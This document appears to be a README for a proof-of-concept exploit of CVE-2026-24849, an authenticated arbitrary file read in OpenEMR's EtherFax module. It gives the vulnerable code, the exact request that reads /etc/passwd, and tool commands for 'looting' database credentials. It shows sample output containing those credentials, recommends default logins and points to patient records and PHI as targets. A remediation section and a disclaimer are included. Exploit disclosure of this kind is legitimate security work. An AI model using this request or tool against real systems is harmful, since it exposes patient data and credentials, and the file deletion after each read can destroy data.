CVE-2026-24849 OpenEMR Authenticated Arbitrary File Read (EtherFax disposeDoc)

Tested on: OpenEMR Version = 7.0.2

Proof-of-concept exploit for CVE-2026-24849, an authenticated path-traversal / arbitrary file read in OpenEMR's Fax/SMS (EtherFax) module. Any authenticated user regardless of privilege level can read arbitrary files from the server filesystem as the web-server user (database credentials, patient documents/PHI, /etc/passwd, …).

The vulnerability

The Fax/SMS module's disposeDoc() method takes a caller-supplied file_path request parameter, confirms the file exists, and passes it straight to readfile() with no path canonicalization, no allow-listing, and no authorization check beyond holding a valid session:

// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

The handler is reached through the module dispatcher with an absolute path in file_path (no ../ traversal needed):

GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Impact

A low-privilege (or default) account becomes a full server-side file-read primitive:

• Database credentials sites/default/sqlconf.php
• Patient records / PHI anything under sites/<site>/documents/, even when that directory is Deny from all in .htaccess (the read happens on disk, bypassing Apache)
• System files /etc/passwd, application source, keys/tokens readable by the web user

⚠️ Destructive behaviour

disposeDoc() calls unlink($where) after reading the file. Reading a file the web-server user is allowed to delete will remove it. Target root-owned files (e.g. /etc/passwd, sqlconf.php on most installs) their parent directory isn't writable by the web user, so the unlink() fails and the file survives. Be deliberate about what you point this at.

Prerequisites

• Valid OpenEMR credentials (any privilege level default admin:pass often works).
• The Fax/SMS module enabled with EtherFax selected as the fax provider. No real EtherFax account/credentials are required the file read happens before any external API call.

Requirements

• Python 3.6+
• requests

pip3 install requests

Installation

git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Usage

Run it with no arguments and it will prompt for everything it needs:

python3 CVE-2026-24849.py

Or drive it non-interactively with flags:

# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Options

If -f is omitted, the tool drops into an interactive read loop so you can pull multiple files from one session.

Example

$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

How it works

1. Logs in with requests, keeping the session in its own cookie jar (avoids the browser session-ID rotation that makes copied cookies go stale).
2. Confirms access by reading a safe, root-owned probe file cleanly distinguishing bad credentials vs module not enabled vs success.
3. Sends the disposeDoc read request, auto-trying both disposeDoc and disposeDocument (the method name differs across affected minor versions).

Remediation

• Upgrade to OpenEMR 7.0.4 or later. The fix canonicalizes the path, confines it to an allowed directory, and adds a real authorization check.
• Change default credentials and enforce a first-login password reset.
• Keep secrets and patient documents outside the webroot; don't rely on .htaccess as the only control.

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use it against systems you own or have explicit, written permission to test. The author accepts no liability for misuse or for any damage caused by this software. Note the destructive unlink() behaviour described above.

References

• GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
• Vendor: https://www.open-emr.org/

Author

doany1

License

MIT see LICENSE.